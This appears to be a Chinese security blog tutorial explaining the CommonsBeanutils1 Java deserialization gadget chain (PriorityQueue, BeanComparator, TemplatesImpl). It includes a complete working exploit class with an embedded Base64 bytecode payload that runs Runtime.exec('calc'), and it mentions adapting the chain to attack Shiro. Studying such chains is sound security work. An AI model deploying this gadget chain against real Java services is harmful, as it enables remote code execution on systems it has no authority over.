CommonsBeanutils

CommonsBeanutils

PriorityQueue+Commons Beanutils

Apache Commons Beanutils

Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法。

JavaBean是一种符合命名规范的class,具体要求如下:

  • 若干个属性都是private类型
  • 并且这些属性都有public类型的get和set方法
  • 并且命名要符合规范,符合骆驼式命名法,比如说属性名为Xx,那么get方法为public Type getXx(),set方法为public void setXx(Type value)

JavaBean示例:

public class Name {
    private String name ="christina";
    private int age = 20;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }
}

idea可直接生成getter和setter,非常好用

image-20221014132511251

commons-beanutils中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任意JavaBean的getter方法,比如:

import org.apache.commons.beanutils.PropertyUtils;

public class Go {
    public static void main(String[] args) throws Exception{
        Name name = new Name();
        System.out.println(PropertyUtils.getProperty(name,"name"));
        System.out.println(PropertyUtils.getProperty(name,"age"));
    }
}

此时,commons-beanutils会自动找到属性的getter方法,也就是 getName 和getAge,然后调用,获得返回值。

image-20221014132811544

除此之外, PropertyUtils.getProperty 还支持递归获取属性,比如a对象中有属性b,b对象中有属性c,我们可以通过 PropertyUtils.getProperty(a, “b.c”); 的方式进行递归获取。通过这个方法,使用者可以很方便地调用任意对象的getter,适用于在不确定JavaBean是哪个类对象时使用。

利用链的构造

回顾一下TemplatesImpl的构造链,

TemplatesImpl#newTransformer=>TemplatesImpl#getTransletInstance=>TemplatesImpl#defineTransletClasses=>TransletClassLoader#defineClass

我们的目的是调用TransletClassLoader#defineClass,但其是受保护的方法,所以我们一直向上寻找一个public的方法去调用它,最终找到了TemplatesImpl#newTransformer,而在TemplatesImpl中,有一个public方法可以直接去调用TemplatesImpl#newTransformer

image-20221014133229034

而这个方法为getter方法,那我们就可以尝试通过PropertyUtils.getProperty方法调用这个getter方法,最后构造完整的利用链。

梳理一下流程,首先反序列化入口PriorityQueue类中我们可以调用任意对象的compare方法,而我们要调用的这个compare方法中,最终要调用至PropertyUtils.getProperty方法,进而调用TemplatesImpl利用链。

在org.apache.commons.beanutils.BeanComparator中,其实现了java.util.Comparator接口,其中的compare方法可调用PropertyUtils.getProperty方法

image-20221014133916100

这个方法传入两个对象,如果 this.property 为空,则直接比较这两个对象;如果 this.property 不为空,则用 PropertyUtils.getProperty 分别取这两个对象的 this.property 属性,比较属性的值。

那我们直接来尝试构造:

首先创建TemplpatesImpl对象:

byte[] codes = Base64.getDecoder().decode("yv66vgAAADQAMQoADQAaCAAbCgAFABwIAB0HAB4KAAUAHwgAIAcAIQcAIgoAIwAkCAAlBwAmBwAn" +
                "AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACgB" +
                "AAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9E" +
                "T007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXph" +
                "dGlvbkhhbmRsZXI7KVYHACkBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94" +
                "c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVy" +
                "YXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6" +
                "YXRpb25IYW5kbGVyOylWAQAKU291cmNlRmlsZQEACkhlbGxvLmphdmEMAA4ADwEAEWphdmEubGFu" +
                "Zy5SdW50aW1lDAAqACsBAApnZXRSdW50aW1lAQAPamF2YS9sYW5nL0NsYXNzDAAsAC0BAARleGVj" +
                "AQAQamF2YS9sYW5nL1N0cmluZwEAEGphdmEvbGFuZy9PYmplY3QHAC4MAC8AMAEABGNhbGMBAAtM" +
                "b2Rlci9IZWxsbwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50" +
                "aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcv" +
                "YXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAHZm9yTmFtZQEA" +
                "JShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGph" +
                "dmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRo" +
                "b2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2Jq" +
                "ZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7ACEADAANAAAAAAADAAEA" +
                "DgAPAAIAEAAAAHEABgAFAAAAQSq3AAESArgAA0wrEgQDvQAFtgAGTSsSBwS9AAVZAxIIU7YABk4s" +
                "KwO9AAm2AAo6BC0ZBAS9AAlZAxILU7YAClexAAAAAQARAAAAHgAHAAAADQAEAA4ACgAPABUAEAAl" +
                "ABEAMAASAEAAFQASAAAABAABABMAAQAUABUAAgAQAAAAGQAAAAMAAAABsQAAAAEAEQAAAAYAAQAA" +
                "ABcAEgAAAAQAAQAWAAEAFAAXAAIAEAAAABkAAAAEAAAAAbEAAAABABEAAAAGAAEAAAAZABIAAAAE" +
                "AAEAFgABABgAAAACABk=");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",new byte[][]{codes});
        setFieldValue(templates,"_name","c1");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

然后实例化BeanComparator,这里构造函数为空,默认的 property就是空

BeanComparator comparator = new BeanComparator();

然后用这个comparator实例化优先队列 PriorityQueue:

PriorityQueue<Object> priorityQueue= new PriorityQueue<Object>(2,comparator);
priorityQueue.add(1);
priorityQueue.add(1);

向队列中添加了两个无害的对象,而由于之前的property为空,所以会对这两个对象排序。然后,用反射将property的值设置为outputProperties,并将队列中的两个对象替换成恶意的TemplatesImpl对象:

setFieldValue(comparator, "property", "outputProperties");
setFieldValue(priorityQueue, "queue", new Object[]{templates, templates});

至此,构造出完整的利用链:

package CCdemo;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class CommonsBeanutils1 {
    public static void setFieldValue(Object obj,String fieldName,Object Value) throws Exception{
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,Value);
    }
    public static void main(String[] args) throws Exception{
        byte[] codes = Base64.getDecoder().decode("yv66vgAAADQAMQoADQAaCAAbCgAFABwIAB0HAB4KAAUAHwgAIAcAIQcAIgoAIwAkCAAlBwAmBwAn" +
                "AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACgB" +
                "AAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9E" +
                "T007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXph" +
                "dGlvbkhhbmRsZXI7KVYHACkBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94" +
                "c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVy" +
                "YXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6" +
                "YXRpb25IYW5kbGVyOylWAQAKU291cmNlRmlsZQEACkhlbGxvLmphdmEMAA4ADwEAEWphdmEubGFu" +
                "Zy5SdW50aW1lDAAqACsBAApnZXRSdW50aW1lAQAPamF2YS9sYW5nL0NsYXNzDAAsAC0BAARleGVj" +
                "AQAQamF2YS9sYW5nL1N0cmluZwEAEGphdmEvbGFuZy9PYmplY3QHAC4MAC8AMAEABGNhbGMBAAtM" +
                "b2Rlci9IZWxsbwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50" +
                "aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcv" +
                "YXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAHZm9yTmFtZQEA" +
                "JShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGph" +
                "dmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRo" +
                "b2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2Jq" +
                "ZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7ACEADAANAAAAAAADAAEA" +
                "DgAPAAIAEAAAAHEABgAFAAAAQSq3AAESArgAA0wrEgQDvQAFtgAGTSsSBwS9AAVZAxIIU7YABk4s" +
                "KwO9AAm2AAo6BC0ZBAS9AAlZAxILU7YAClexAAAAAQARAAAAHgAHAAAADQAEAA4ACgAPABUAEAAl" +
                "ABEAMAASAEAAFQASAAAABAABABMAAQAUABUAAgAQAAAAGQAAAAMAAAABsQAAAAEAEQAAAAYAAQAA" +
                "ABcAEgAAAAQAAQAWAAEAFAAXAAIAEAAAABkAAAAEAAAAAbEAAAABABEAAAAGAAEAAAAZABIAAAAE" +
                "AAEAFgABABgAAAACABk=");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",new byte[][]{codes});
        setFieldValue(templates,"_name","c1");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        BeanComparator comparator = new BeanComparator();
        PriorityQueue<Object> priorityQueue= new PriorityQueue<Object>(2,comparator);
        priorityQueue.add(1);
        priorityQueue.add(1);
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(priorityQueue, "queue", new Object[]{templates, templates});
        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(priorityQueue);
        oos.close();
        // 本地测试触发
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

成功弹出计算器

image-20221014134942467

而本条链经过简单改造,可以构造出无依赖Shiro反序列化利用链,具体看Shiro反序列化漏洞总结

参考:java安全漫谈-phith0n

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值